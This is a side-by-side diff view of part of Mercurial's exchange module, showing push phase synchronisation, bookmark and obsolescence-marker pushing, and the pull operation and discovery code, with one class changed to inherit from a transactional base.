958 if pushop.revs is None and not (outgoing.excluded
959 or pushop.repo.changelog.filteredrevs):
959 or pushop.repo.changelog.filteredrevs):
960 # push everything,
960 # push everything,
961 # use the fast path, no race possible on push
961 # use the fast path, no race possible on push
962 bundler = changegroup.cg1packer(pushop.repo, bundlecaps)
962 bundler = changegroup.cg1packer(pushop.repo, bundlecaps)
963 cg = changegroup.getsubset(pushop.repo,
963 cg = changegroup.getsubset(pushop.repo,
964 outgoing,
964 outgoing,
965 bundler,
965 bundler,
966 'push',
966 'push',
967 fastpath=True)
967 fastpath=True)
968 else:
968 else:
969 cg = changegroup.getchangegroup(pushop.repo, 'push', outgoing,
969 cg = changegroup.getchangegroup(pushop.repo, 'push', outgoing,
970 bundlecaps=bundlecaps)
970 bundlecaps=bundlecaps)
971
971
972 # apply changegroup to remote
972 # apply changegroup to remote
973 # local repo finds heads on server, finds out what
973 # local repo finds heads on server, finds out what
974 # revs it must push. once revs transferred, if server
974 # revs it must push. once revs transferred, if server
975 # finds it has different heads (someone else won
975 # finds it has different heads (someone else won
976 # commit/push race), server aborts.
976 # commit/push race), server aborts.
977 if pushop.force:
977 if pushop.force:
978 remoteheads = ['force']
978 remoteheads = ['force']
979 else:
979 else:
980 remoteheads = pushop.remoteheads
980 remoteheads = pushop.remoteheads
981 # ssh: return remote's addchangegroup()
981 # ssh: return remote's addchangegroup()
982 # http: return remote's addchangegroup() or 0 for error
982 # http: return remote's addchangegroup() or 0 for error
983 pushop.cgresult = pushop.remote.unbundle(cg, remoteheads,
983 pushop.cgresult = pushop.remote.unbundle(cg, remoteheads,
984 pushop.repo.url())
984 pushop.repo.url())
985
985
986 def _pushsyncphase(pushop):
986 def _pushsyncphase(pushop):
987 """synchronise phase information locally and remotely"""
987 """synchronise phase information locally and remotely"""
988 cheads = pushop.commonheads
988 cheads = pushop.commonheads
989 # even when we don't push, exchanging phase data is useful
989 # even when we don't push, exchanging phase data is useful
990 remotephases = pushop.remote.listkeys('phases')
990 remotephases = pushop.remote.listkeys('phases')
991 if (pushop.ui.configbool('ui', '_usedassubrepo')
991 if (pushop.ui.configbool('ui', '_usedassubrepo')
992 and remotephases # server supports phases
992 and remotephases # server supports phases
993 and pushop.cgresult is None # nothing was pushed
993 and pushop.cgresult is None # nothing was pushed
994 and remotephases.get('publishing', False)):
994 and remotephases.get('publishing', False)):
995 # When:
995 # When:
996 # - this is a subrepo push
996 # - this is a subrepo push
997 # - and remote support phase
997 # - and remote support phase
998 # - and no changeset was pushed
998 # - and no changeset was pushed
999 # - and remote is publishing
999 # - and remote is publishing
1000 # We may be in issue 3871 case!
1000 # We may be in issue 3871 case!
1001 # We drop the possible phase synchronisation done by
1001 # We drop the possible phase synchronisation done by
1002 # courtesy to publish changesets possibly locally draft
1002 # courtesy to publish changesets possibly locally draft
1003 # on the remote.
1003 # on the remote.
1004 remotephases = {'publishing': 'True'}
1004 remotephases = {'publishing': 'True'}
1005 if not remotephases: # old server or public only reply from non-publishing
1005 if not remotephases: # old server or public only reply from non-publishing
1006 _localphasemove(pushop, cheads)
1006 _localphasemove(pushop, cheads)
1007 # don't push any phase data as there is nothing to push
1007 # don't push any phase data as there is nothing to push
1008 else:
1008 else:
1009 ana = phases.analyzeremotephases(pushop.repo, cheads,
1009 ana = phases.analyzeremotephases(pushop.repo, cheads,
1010 remotephases)
1010 remotephases)
1011 pheads, droots = ana
1011 pheads, droots = ana
1012 ### Apply remote phase on local
1012 ### Apply remote phase on local
1013 if remotephases.get('publishing', False):
1013 if remotephases.get('publishing', False):
1014 _localphasemove(pushop, cheads)
1014 _localphasemove(pushop, cheads)
1015 else: # publish = False
1015 else: # publish = False
1016 _localphasemove(pushop, pheads)
1016 _localphasemove(pushop, pheads)
1017 _localphasemove(pushop, cheads, phases.draft)
1017 _localphasemove(pushop, cheads, phases.draft)
1018 ### Apply local phase on remote
1018 ### Apply local phase on remote
1019
1019
1020 if pushop.cgresult:
1020 if pushop.cgresult:
1021 if 'phases' in pushop.stepsdone:
1021 if 'phases' in pushop.stepsdone:
1022 # phases already pushed though bundle2
1022 # phases already pushed though bundle2
1023 return
1023 return
1024 outdated = pushop.outdatedphases
1024 outdated = pushop.outdatedphases
1025 else:
1025 else:
1026 outdated = pushop.fallbackoutdatedphases
1026 outdated = pushop.fallbackoutdatedphases
1027
1027
1028 pushop.stepsdone.add('phases')
1028 pushop.stepsdone.add('phases')
1029
1029
1030 # filter heads already turned public by the push
1030 # filter heads already turned public by the push
1031 outdated = [c for c in outdated if c.node() not in pheads]
1031 outdated = [c for c in outdated if c.node() not in pheads]
1032 # fallback to independent pushkey command
1032 # fallback to independent pushkey command
1033 for newremotehead in outdated:
1033 for newremotehead in outdated:
1034 r = pushop.remote.pushkey('phases',
1034 r = pushop.remote.pushkey('phases',
1035 newremotehead.hex(),
1035 newremotehead.hex(),
1036 str(phases.draft),
1036 str(phases.draft),
1037 str(phases.public))
1037 str(phases.public))
1038 if not r:
1038 if not r:
1039 pushop.ui.warn(_('updating %s to public failed!\n')
1039 pushop.ui.warn(_('updating %s to public failed!\n')
1040 % newremotehead)
1040 % newremotehead)
1041
1041
1042 def _localphasemove(pushop, nodes, phase=phases.public):
1042 def _localphasemove(pushop, nodes, phase=phases.public):
1043 """move <nodes> to <phase> in the local source repo"""
1043 """move <nodes> to <phase> in the local source repo"""
1044 if pushop.trmanager:
1044 if pushop.trmanager:
1045 phases.advanceboundary(pushop.repo,
1045 phases.advanceboundary(pushop.repo,
1046 pushop.trmanager.transaction(),
1046 pushop.trmanager.transaction(),
1047 phase,
1047 phase,
1048 nodes)
1048 nodes)
1049 else:
1049 else:
1050 # repo is not locked, do not change any phases!
1050 # repo is not locked, do not change any phases!
1051 # Informs the user that phases should have been moved when
1051 # Informs the user that phases should have been moved when
1052 # applicable.
1052 # applicable.
1053 actualmoves = [n for n in nodes if phase < pushop.repo[n].phase()]
1053 actualmoves = [n for n in nodes if phase < pushop.repo[n].phase()]
1054 phasestr = phases.phasenames[phase]
1054 phasestr = phases.phasenames[phase]
1055 if actualmoves:
1055 if actualmoves:
1056 pushop.ui.status(_('cannot lock source repo, skipping '
1056 pushop.ui.status(_('cannot lock source repo, skipping '
1057 'local %s phase update\n') % phasestr)
1057 'local %s phase update\n') % phasestr)
1058
1058
1059 def _pushobsolete(pushop):
1059 def _pushobsolete(pushop):
1060 """utility function to push obsolete markers to a remote"""
1060 """utility function to push obsolete markers to a remote"""
1061 if 'obsmarkers' in pushop.stepsdone:
1061 if 'obsmarkers' in pushop.stepsdone:
1062 return
1062 return
1063 repo = pushop.repo
1063 repo = pushop.repo
1064 remote = pushop.remote
1064 remote = pushop.remote
1065 pushop.stepsdone.add('obsmarkers')
1065 pushop.stepsdone.add('obsmarkers')
1066 if pushop.outobsmarkers:
1066 if pushop.outobsmarkers:
1067 pushop.ui.debug('try to push obsolete markers to remote\n')
1067 pushop.ui.debug('try to push obsolete markers to remote\n')
1068 rslts = []
1068 rslts = []
1069 remotedata = obsolete._pushkeyescape(sorted(pushop.outobsmarkers))
1069 remotedata = obsolete._pushkeyescape(sorted(pushop.outobsmarkers))
1070 for key in sorted(remotedata, reverse=True):
1070 for key in sorted(remotedata, reverse=True):
1071 # reverse sort to ensure we end with dump0
1071 # reverse sort to ensure we end with dump0
1072 data = remotedata[key]
1072 data = remotedata[key]
1073 rslts.append(remote.pushkey('obsolete', key, '', data))
1073 rslts.append(remote.pushkey('obsolete', key, '', data))
1074 if [r for r in rslts if not r]:
1074 if [r for r in rslts if not r]:
1075 msg = _('failed to push some obsolete markers!\n')
1075 msg = _('failed to push some obsolete markers!\n')
1076 repo.ui.warn(msg)
1076 repo.ui.warn(msg)
1077
1077
1078 def _pushbookmark(pushop):
1078 def _pushbookmark(pushop):
1079 """Update bookmark position on remote"""
1079 """Update bookmark position on remote"""
1080 if pushop.cgresult == 0 or 'bookmarks' in pushop.stepsdone:
1080 if pushop.cgresult == 0 or 'bookmarks' in pushop.stepsdone:
1081 return
1081 return
1082 pushop.stepsdone.add('bookmarks')
1082 pushop.stepsdone.add('bookmarks')
1083 ui = pushop.ui
1083 ui = pushop.ui
1084 remote = pushop.remote
1084 remote = pushop.remote
1085
1085
1086 for b, old, new in pushop.outbookmarks:
1086 for b, old, new in pushop.outbookmarks:
1087 action = 'update'
1087 action = 'update'
1088 if not old:
1088 if not old:
1089 action = 'export'
1089 action = 'export'
1090 elif not new:
1090 elif not new:
1091 action = 'delete'
1091 action = 'delete'
1092 if remote.pushkey('bookmarks', b, old, new):
1092 if remote.pushkey('bookmarks', b, old, new):
1093 ui.status(bookmsgmap[action][0] % b)
1093 ui.status(bookmsgmap[action][0] % b)
1094 else:
1094 else:
1095 ui.warn(bookmsgmap[action][1] % b)
1095 ui.warn(bookmsgmap[action][1] % b)
1096 # discovery can have set the value form invalid entry
1096 # discovery can have set the value form invalid entry
1097 if pushop.bkresult is not None:
1097 if pushop.bkresult is not None:
1098 pushop.bkresult = 1
1098 pushop.bkresult = 1
1099
1099
1100 class pulloperation(object):
1100 class pulloperation(object):
1101 """A object that represent a single pull operation
1101 """A object that represent a single pull operation
1102
1102
1103 It purpose is to carry pull related state and very common operation.
1103 It purpose is to carry pull related state and very common operation.
1104
1104
1105 A new should be created at the beginning of each pull and discarded
1105 A new should be created at the beginning of each pull and discarded
1106 afterward.
1106 afterward.
1107 """
1107 """
1108
1108
1109 def __init__(self, repo, remote, heads=None, force=False, bookmarks=(),
1109 def __init__(self, repo, remote, heads=None, force=False, bookmarks=(),
1110 remotebookmarks=None, streamclonerequested=None):
1110 remotebookmarks=None, streamclonerequested=None):
1111 # repo we pull into
1111 # repo we pull into
1112 self.repo = repo
1112 self.repo = repo
1113 # repo we pull from
1113 # repo we pull from
1114 self.remote = remote
1114 self.remote = remote
1115 # revision we try to pull (None is "all")
1115 # revision we try to pull (None is "all")
1116 self.heads = heads
1116 self.heads = heads
1117 # bookmark pulled explicitly
1117 # bookmark pulled explicitly
1118 self.explicitbookmarks = [repo._bookmarks.expandname(bookmark)
1118 self.explicitbookmarks = [repo._bookmarks.expandname(bookmark)
1119 for bookmark in bookmarks]
1119 for bookmark in bookmarks]
1120 # do we force pull?
1120 # do we force pull?
1121 self.force = force
1121 self.force = force
1122 # whether a streaming clone was requested
1122 # whether a streaming clone was requested
1123 self.streamclonerequested = streamclonerequested
1123 self.streamclonerequested = streamclonerequested
1124 # transaction manager
1124 # transaction manager
1125 self.trmanager = None
1125 self.trmanager = None
1126 # set of common changeset between local and remote before pull
1126 # set of common changeset between local and remote before pull
1127 self.common = None
1127 self.common = None
1128 # set of pulled head
1128 # set of pulled head
1129 self.rheads = None
1129 self.rheads = None
1130 # list of missing changeset to fetch remotely
1130 # list of missing changeset to fetch remotely
1131 self.fetch = None
1131 self.fetch = None
1132 # remote bookmarks data
1132 # remote bookmarks data
1133 self.remotebookmarks = remotebookmarks
1133 self.remotebookmarks = remotebookmarks
1134 # result of changegroup pulling (used as return code by pull)
1134 # result of changegroup pulling (used as return code by pull)
1135 self.cgresult = None
1135 self.cgresult = None
1136 # list of step already done
1136 # list of step already done
1137 self.stepsdone = set()
1137 self.stepsdone = set()
1138 # Whether we attempted a clone from pre-generated bundles.
1138 # Whether we attempted a clone from pre-generated bundles.
1139 self.clonebundleattempted = False
1139 self.clonebundleattempted = False
1140
1140
1141 @util.propertycache
1141 @util.propertycache
1142 def pulledsubset(self):
1142 def pulledsubset(self):
1143 """heads of the set of changeset target by the pull"""
1143 """heads of the set of changeset target by the pull"""
1144 # compute target subset
1144 # compute target subset
1145 if self.heads is None:
1145 if self.heads is None:
1146 # We pulled every thing possible
1146 # We pulled every thing possible
1147 # sync on everything common
1147 # sync on everything common
1148 c = set(self.common)
1148 c = set(self.common)
1149 ret = list(self.common)
1149 ret = list(self.common)
1150 for n in self.rheads:
1150 for n in self.rheads:
1151 if n not in c:
1151 if n not in c:
1152 ret.append(n)
1152 ret.append(n)
1153 return ret
1153 return ret
1154 else:
1154 else:
1155 # We pulled a specific subset
1155 # We pulled a specific subset
1156 # sync on this subset
1156 # sync on this subset
1157 return self.heads
1157 return self.heads
1158
1158
1159 @util.propertycache
1159 @util.propertycache
1160 def canusebundle2(self):
1160 def canusebundle2(self):
1161 return not _forcebundle1(self)
1161 return not _forcebundle1(self)
1162
1162
1163 @util.propertycache
1163 @util.propertycache
1164 def remotebundle2caps(self):
1164 def remotebundle2caps(self):
1165 return bundle2.bundle2caps(self.remote)
1165 return bundle2.bundle2caps(self.remote)
1166
1166
1167 def gettransaction(self):
1167 def gettransaction(self):
1168 # deprecated; talk to trmanager directly
1168 # deprecated; talk to trmanager directly
1169 return self.trmanager.transaction()
1169 return self.trmanager.transaction()
1170
1170
1171 class transactionmanager(object):
1171 class transactionmanager(util.transactional):
1172 """An object to manage the life cycle of a transaction
1172 """An object to manage the life cycle of a transaction
1173
1173
1174 It creates the transaction on demand and calls the appropriate hooks when
1174 It creates the transaction on demand and calls the appropriate hooks when
1175 closing the transaction."""
1175 closing the transaction."""
1176 def __init__(self, repo, source, url):
1176 def __init__(self, repo, source, url):
1177 self.repo = repo
1177 self.repo = repo
1178 self.source = source
1178 self.source = source
1179 self.url = url
1179 self.url = url
1180 self._tr = None
1180 self._tr = None
1181
1181
1182 def transaction(self):
1182 def transaction(self):
1183 """Return an open transaction object, constructing if necessary"""
1183 """Return an open transaction object, constructing if necessary"""
1184 if not self._tr:
1184 if not self._tr:
1185 trname = '%s\n%s' % (self.source, util.hidepassword(self.url))
1185 trname = '%s\n%s' % (self.source, util.hidepassword(self.url))
1186 self._tr = self.repo.transaction(trname)
1186 self._tr = self.repo.transaction(trname)
1187 self._tr.hookargs['source'] = self.source
1187 self._tr.hookargs['source'] = self.source
1188 self._tr.hookargs['url'] = self.url
1188 self._tr.hookargs['url'] = self.url
1189 return self._tr
1189 return self._tr
1190
1190
1191 def close(self):
1191 def close(self):
1192 """close transaction if created"""
1192 """close transaction if created"""
1193 if self._tr is not None:
1193 if self._tr is not None:
1194 self._tr.close()
1194 self._tr.close()
1195
1195
1196 def release(self):
1196 def release(self):
1197 """release transaction if created"""
1197 """release transaction if created"""
1198 if self._tr is not None:
1198 if self._tr is not None:
1199 self._tr.release()
1199 self._tr.release()
1200
1200
1201 def pull(repo, remote, heads=None, force=False, bookmarks=(), opargs=None,
1201 def pull(repo, remote, heads=None, force=False, bookmarks=(), opargs=None,
1202 streamclonerequested=None):
1202 streamclonerequested=None):
1203 """Fetch repository data from a remote.
1203 """Fetch repository data from a remote.
1204
1204
1205 This is the main function used to retrieve data from a remote repository.
1205 This is the main function used to retrieve data from a remote repository.
1206
1206
1207 ``repo`` is the local repository to clone into.
1207 ``repo`` is the local repository to clone into.
1208 ``remote`` is a peer instance.
1208 ``remote`` is a peer instance.
1209 ``heads`` is an iterable of revisions we want to pull. ``None`` (the
1209 ``heads`` is an iterable of revisions we want to pull. ``None`` (the
1210 default) means to pull everything from the remote.
1210 default) means to pull everything from the remote.
1211 ``bookmarks`` is an iterable of bookmarks requesting to be pulled. By
1211 ``bookmarks`` is an iterable of bookmarks requesting to be pulled. By
1212 default, all remote bookmarks are pulled.
1212 default, all remote bookmarks are pulled.
1213 ``opargs`` are additional keyword arguments to pass to ``pulloperation``
1213 ``opargs`` are additional keyword arguments to pass to ``pulloperation``
1214 initialization.
1214 initialization.
1215 ``streamclonerequested`` is a boolean indicating whether a "streaming
1215 ``streamclonerequested`` is a boolean indicating whether a "streaming
1216 clone" is requested. A "streaming clone" is essentially a raw file copy
1216 clone" is requested. A "streaming clone" is essentially a raw file copy
1217 of revlogs from the server. This only works when the local repository is
1217 of revlogs from the server. This only works when the local repository is
1218 empty. The default value of ``None`` means to respect the server
1218 empty. The default value of ``None`` means to respect the server
1219 configuration for preferring stream clones.
1219 configuration for preferring stream clones.
1220
1220
1221 Returns the ``pulloperation`` created for this pull.
1221 Returns the ``pulloperation`` created for this pull.
1222 """
1222 """
1223 if opargs is None:
1223 if opargs is None:
1224 opargs = {}
1224 opargs = {}
1225 pullop = pulloperation(repo, remote, heads, force, bookmarks=bookmarks,
1225 pullop = pulloperation(repo, remote, heads, force, bookmarks=bookmarks,
1226 streamclonerequested=streamclonerequested, **opargs)
1226 streamclonerequested=streamclonerequested, **opargs)
1227
1227
1228 peerlocal = pullop.remote.local()
1228 peerlocal = pullop.remote.local()
1229 if peerlocal:
1229 if peerlocal:
1230 missing = set(peerlocal.requirements) - pullop.repo.supported
1230 missing = set(peerlocal.requirements) - pullop.repo.supported
1231 if missing:
1231 if missing:
1232 msg = _("required features are not"
1232 msg = _("required features are not"
1233 " supported in the destination:"
1233 " supported in the destination:"
1234 " %s") % (', '.join(sorted(missing)))
1234 " %s") % (', '.join(sorted(missing)))
1235 raise error.Abort(msg)
1235 raise error.Abort(msg)
1236
1236
1237 wlock = lock = None
1237 wlock = lock = None
1238 try:
1238 try:
1239 wlock = pullop.repo.wlock()
1239 wlock = pullop.repo.wlock()
1240 lock = pullop.repo.lock()
1240 lock = pullop.repo.lock()
1241 pullop.trmanager = transactionmanager(repo, 'pull', remote.url())
1241 pullop.trmanager = transactionmanager(repo, 'pull', remote.url())
1242 streamclone.maybeperformlegacystreamclone(pullop)
1242 streamclone.maybeperformlegacystreamclone(pullop)
1243 # This should ideally be in _pullbundle2(). However, it needs to run
1243 # This should ideally be in _pullbundle2(). However, it needs to run
1244 # before discovery to avoid extra work.
1244 # before discovery to avoid extra work.
1245 _maybeapplyclonebundle(pullop)
1245 _maybeapplyclonebundle(pullop)
1246 _pulldiscovery(pullop)
1246 _pulldiscovery(pullop)
1247 if pullop.canusebundle2:
1247 if pullop.canusebundle2:
1248 _pullbundle2(pullop)
1248 _pullbundle2(pullop)
1249 _pullchangeset(pullop)
1249 _pullchangeset(pullop)
1250 _pullphase(pullop)
1250 _pullphase(pullop)
1251 _pullbookmarks(pullop)
1251 _pullbookmarks(pullop)
1252 _pullobsolete(pullop)
1252 _pullobsolete(pullop)
1253 pullop.trmanager.close()
1253 pullop.trmanager.close()
1254 finally:
1254 finally:
1255 lockmod.release(pullop.trmanager, lock, wlock)
1255 lockmod.release(pullop.trmanager, lock, wlock)
1256
1256
1257 return pullop
1257 return pullop
1258
1258
1259 # list of steps to perform discovery before pull
1259 # list of steps to perform discovery before pull
1260 pulldiscoveryorder = []
1260 pulldiscoveryorder = []
1261
1261
1262 # Mapping between step name and function
1262 # Mapping between step name and function
1263 #
1263 #
1264 # This exists to help extensions wrap steps if necessary
1264 # This exists to help extensions wrap steps if necessary
1265 pulldiscoverymapping = {}
1265 pulldiscoverymapping = {}
1266
1266
1267 def pulldiscovery(stepname):
1267 def pulldiscovery(stepname):
1268 """decorator for function performing discovery before pull
1268 """decorator for function performing discovery before pull
1269
1269
1270 The function is added to the step -> function mapping and appended to the
1270 The function is added to the step -> function mapping and appended to the
1271 list of steps. Beware that decorated function will be added in order (this
1271 list of steps. Beware that decorated function will be added in order (this
1272 may matter).
1272 may matter).
1273
1273
1274 You can only use this decorator for a new step, if you want to wrap a step
1274 You can only use this decorator for a new step, if you want to wrap a step
1275 from an extension, change the pulldiscovery dictionary directly."""
1275 from an extension, change the pulldiscovery dictionary directly."""
1276 def dec(func):
1276 def dec(func):
1277 assert stepname not in pulldiscoverymapping
1277 assert stepname not in pulldiscoverymapping
1278 pulldiscoverymapping[stepname] = func
1278 pulldiscoverymapping[stepname] = func
1279 pulldiscoveryorder.append(stepname)
1279 pulldiscoveryorder.append(stepname)
1280 return func
1280 return func
1281 return dec
1281 return dec
1282
1282
1283 def _pulldiscovery(pullop):
1283 def _pulldiscovery(pullop):
1284 """Run all discovery steps"""
1284 """Run all discovery steps"""
1285 for stepname in pulldiscoveryorder:
1285 for stepname in pulldiscoveryorder:
1286 step = pulldiscoverymapping[stepname]
1286 step = pulldiscoverymapping[stepname]
1287 step(pullop)
1287 step(pullop)
1288
1288
1289 @pulldiscovery('b1:bookmarks')
1289 @pulldiscovery('b1:bookmarks')
1290 def _pullbookmarkbundle1(pullop):
1290 def _pullbookmarkbundle1(pullop):
1291 """fetch bookmark data in bundle1 case
1291 """fetch bookmark data in bundle1 case
1292
1292
1293 If not using bundle2, we have to fetch bookmarks before changeset
1293 If not using bundle2, we have to fetch bookmarks before changeset
1294 discovery to reduce the chance and impact of race conditions."""
1294 discovery to reduce the chance and impact of race conditions."""
1295 if pullop.remotebookmarks is not None:
1295 if pullop.remotebookmarks is not None:
1296 return
1296 return
1297 if pullop.canusebundle2 and 'listkeys' in pullop.remotebundle2caps:
1297 if pullop.canusebundle2 and 'listkeys' in pullop.remotebundle2caps:
1298 # all known bundle2 servers now support listkeys, but lets be nice with
1298 # all known bundle2 servers now support listkeys, but lets be nice with
1299 # new implementation.
1299 # new implementation.
1300 return
1300 return
1301 pullop.remotebookmarks = pullop.remote.listkeys('bookmarks')
1301 pullop.remotebookmarks = pullop.remote.listkeys('bookmarks')
1302
1302
1303
1303
1304 @pulldiscovery('changegroup')
1304 @pulldiscovery('changegroup')
1305 def _pulldiscoverychangegroup(pullop):
1305 def _pulldiscoverychangegroup(pullop):
1306 """discovery phase for the pull
1306 """discovery phase for the pull
1307
1307
1308 Current handle changeset discovery only, will change handle all discovery
1308 Current handle changeset discovery only, will change handle all discovery
1309 at some point."""
1309 at some point."""
1310 tmp = discovery.findcommonincoming(pullop.repo,
1310 tmp = discovery.findcommonincoming(pullop.repo,
1311 pullop.remote,
1311 pullop.remote,
1312 heads=pullop.heads,
1312 heads=pullop.heads,
1313 force=pullop.force)
1313 force=pullop.force)
1314 common, fetch, rheads = tmp
1314 common, fetch, rheads = tmp
1315 nm = pullop.repo.unfiltered().changelog.nodemap
1315 nm = pullop.repo.unfiltered().changelog.nodemap
1316 if fetch and rheads:
1316 if fetch and rheads:
1317 # If a remote heads in filtered locally, lets drop it from the unknown
1317 # If a remote heads in filtered locally, lets drop it from the unknown
1318 # remote heads and put in back in common.
1318 # remote heads and put in back in common.
1319 #
1319 #
1320 # This is a hackish solution to catch most of "common but locally
1320 # This is a hackish solution to catch most of "common but locally
1321 # hidden situation". We do not performs discovery on unfiltered
1321 # hidden situation". We do not performs discovery on unfiltered
1322 # repository because it end up doing a pathological amount of round
1322 # repository because it end up doing a pathological amount of round
1323 # trip for w huge amount of changeset we do not care about.
1323 # trip for w huge amount of changeset we do not care about.
1324 #
1324 #
1325 # If a set of such "common but filtered" changeset exist on the server
1325 # If a set of such "common but filtered" changeset exist on the server
1326 # but are not including a remote heads, we'll not be able to detect it,
1326 # but are not including a remote heads, we'll not be able to detect it,
1327 scommon = set(common)
1327 scommon = set(common)
1328 filteredrheads = []
1328 filteredrheads = []
1329 for n in rheads:
1329 for n in rheads:
1330 if n in nm:
1330 if n in nm:
1331 if n not in scommon:
1331 if n not in scommon:
1332 common.append(n)
1332 common.append(n)
1333 else:
1333 else:
1334 filteredrheads.append(n)
1334 filteredrheads.append(n)
1335 if not filteredrheads:
1335 if not filteredrheads:
1336 fetch = []
1336 fetch = []
1337 rheads = filteredrheads
1337 rheads = filteredrheads
1338 pullop.common = common
1338 pullop.common = common
1339 pullop.fetch = fetch
1339 pullop.fetch = fetch
1340 pullop.rheads = rheads
1340 pullop.rheads = rheads
1341
1341
1342 def _pullbundle2(pullop):
1342 def _pullbundle2(pullop):
1343 """pull data using bundle2
1343 """pull data using bundle2
1344
1344
1345 For now, the only supported data are changegroup."""
1345 For now, the only supported data are changegroup."""
1346 kwargs = {'bundlecaps': caps20to10(pullop.repo)}
1346 kwargs = {'bundlecaps': caps20to10(pullop.repo)}
1347
1347
1348 # At the moment we don't do stream clones over bundle2. If that is
1348 # At the moment we don't do stream clones over bundle2. If that is
1349 # implemented then here's where the check for that will go.
1349 # implemented then here's where the check for that will go.
1350 streaming = False
1350 streaming = False
1351
1351
1352 # pulling changegroup
1352 # pulling changegroup
1353 pullop.stepsdone.add('changegroup')
1353 pullop.stepsdone.add('changegroup')
1354
1354
1355 kwargs['common'] = pullop.common
1355 kwargs['common'] = pullop.common
1356 kwargs['heads'] = pullop.heads or pullop.rheads
1356 kwargs['heads'] = pullop.heads or pullop.rheads
1357 kwargs['cg'] = pullop.fetch
1357 kwargs['cg'] = pullop.fetch
1358 if 'listkeys' in pullop.remotebundle2caps:
1358 if 'listkeys' in pullop.remotebundle2caps:
1359 kwargs['listkeys'] = ['phases']
1359 kwargs['listkeys'] = ['phases']
1360 if pullop.remotebookmarks is None:
1360 if pullop.remotebookmarks is None:
1361 # make sure to always includes bookmark data when migrating
1361 # make sure to always includes bookmark data when migrating
1362 # `hg incoming --bundle` to using this function.
1362 # `hg incoming --bundle` to using this function.
1363 kwargs['listkeys'].append('bookmarks')
1363 kwargs['listkeys'].append('bookmarks')
1364
1364
1365 # If this is a full pull / clone and the server supports the clone bundles
1365 # If this is a full pull / clone and the server supports the clone bundles
1366 # feature, tell the server whether we attempted a clone bundle. The
1366 # feature, tell the server whether we attempted a clone bundle. The
1367 # presence of this flag indicates the client supports clone bundles. This
1367 # presence of this flag indicates the client supports clone bundles. This
1368 # will enable the server to treat clients that support clone bundles
1368 # will enable the server to treat clients that support clone bundles
1369 # differently from those that don't.
1369 # differently from those that don't.
1370 if (pullop.remote.capable('clonebundles')
1370 if (pullop.remote.capable('clonebundles')
1371 and pullop.heads is None and list(pullop.common) == [nullid]):
1371 and pullop.heads is None and list(pullop.common) == [nullid]):
1372 kwargs['cbattempted'] = pullop.clonebundleattempted
1372 kwargs['cbattempted'] = pullop.clonebundleattempted
1373
1373
1374 if streaming:
1374 if streaming:
1375 pullop.repo.ui.status(_('streaming all changes\n'))
1375 pullop.repo.ui.status(_('streaming all changes\n'))
1376 elif not pullop.fetch:
1376 elif not pullop.fetch:
1377 pullop.repo.ui.status(_("no changes found\n"))
1377 pullop.repo.ui.status(_("no changes found\n"))
1378 pullop.cgresult = 0
1378 pullop.cgresult = 0
1379 else:
1379 else:
1380 if pullop.heads is None and list(pullop.common) == [nullid]:
1380 if pullop.heads is None and list(pullop.common) == [nullid]:
1381 pullop.repo.ui.status(_("requesting all changes\n"))
1381 pullop.repo.ui.status(_("requesting all changes\n"))
1382 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
1382 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
1383 remoteversions = bundle2.obsmarkersversion(pullop.remotebundle2caps)
1383 remoteversions = bundle2.obsmarkersversion(pullop.remotebundle2caps)
1384 if obsolete.commonversion(remoteversions) is not None:
1384 if obsolete.commonversion(remoteversions) is not None:
1385 kwargs['obsmarkers'] = True
1385 kwargs['obsmarkers'] = True
1386 pullop.stepsdone.add('obsmarkers')
1386 pullop.stepsdone.add('obsmarkers')
1387 _pullbundle2extraprepare(pullop, kwargs)
1387 _pullbundle2extraprepare(pullop, kwargs)
1388 bundle = pullop.remote.getbundle('pull', **pycompat.strkwargs(kwargs))
1388 bundle = pullop.remote.getbundle('pull', **pycompat.strkwargs(kwargs))
1389 try:
1389 try:
1390 op = bundle2.processbundle(pullop.repo, bundle, pullop.gettransaction)
1390 op = bundle2.processbundle(pullop.repo, bundle, pullop.gettransaction)
1391 except bundle2.AbortFromPart as exc:
1391 except bundle2.AbortFromPart as exc:
1392 pullop.repo.ui.status(_('remote: abort: %s\n') % exc)
1392 pullop.repo.ui.status(_('remote: abort: %s\n') % exc)
1393 raise error.Abort(_('pull failed on remote'), hint=exc.hint)
1393 raise error.Abort(_('pull failed on remote'), hint=exc.hint)
1394 except error.BundleValueError as exc:
1394 except error.BundleValueError as exc:
1395 raise error.Abort(_('missing support for %s') % exc)
1395 raise error.Abort(_('missing support for %s') % exc)
1396
1396
1397 if pullop.fetch:
1397 if pullop.fetch:
1398 pullop.cgresult = bundle2.combinechangegroupresults(op)
1398 pullop.cgresult = bundle2.combinechangegroupresults(op)
1399
1399
1400 # processing phases change
1400 # processing phases change
1401 for namespace, value in op.records['listkeys']:
1401 for namespace, value in op.records['listkeys']:
1402 if namespace == 'phases':
1402 if namespace == 'phases':
1403 _pullapplyphases(pullop, value)
1403 _pullapplyphases(pullop, value)
1404
1404
1405 # processing bookmark update
1405 # processing bookmark update
1406 for namespace, value in op.records['listkeys']:
1406 for namespace, value in op.records['listkeys']:
1407 if namespace == 'bookmarks':
1407 if namespace == 'bookmarks':
1408 pullop.remotebookmarks = value
1408 pullop.remotebookmarks = value
1409
1409
1410 # bookmark data were either already there or pulled in the bundle
1410 # bookmark data were either already there or pulled in the bundle
1411 if pullop.remotebookmarks is not None:
1411 if pullop.remotebookmarks is not None:
1412 _pullbookmarks(pullop)
1412 _pullbookmarks(pullop)
1413
1413
1414 def _pullbundle2extraprepare(pullop, kwargs):
1414 def _pullbundle2extraprepare(pullop, kwargs):
1415 """hook function so that extensions can extend the getbundle call"""
1415 """hook function so that extensions can extend the getbundle call"""
1416 pass
1416 pass
1417
1417
1418 def _pullchangeset(pullop):
1418 def _pullchangeset(pullop):
1419 """pull changeset from unbundle into the local repo"""
1419 """pull changeset from unbundle into the local repo"""
1420 # We delay the open of the transaction as late as possible so we
1420 # We delay the open of the transaction as late as possible so we
1421 # don't open transaction for nothing or you break future useful
1421 # don't open transaction for nothing or you break future useful
1422 # rollback call
1422 # rollback call
1423 if 'changegroup' in pullop.stepsdone:
1423 if 'changegroup' in pullop.stepsdone:
1424 return
1424 return
1425 pullop.stepsdone.add('changegroup')
1425 pullop.stepsdone.add('changegroup')
1426 if not pullop.fetch:
1426 if not pullop.fetch:
1427 pullop.repo.ui.status(_("no changes found\n"))
1427 pullop.repo.ui.status(_("no changes found\n"))
1428 pullop.cgresult = 0
1428 pullop.cgresult = 0
1429 return
1429 return
1430 tr = pullop.gettransaction()
1430 tr = pullop.gettransaction()
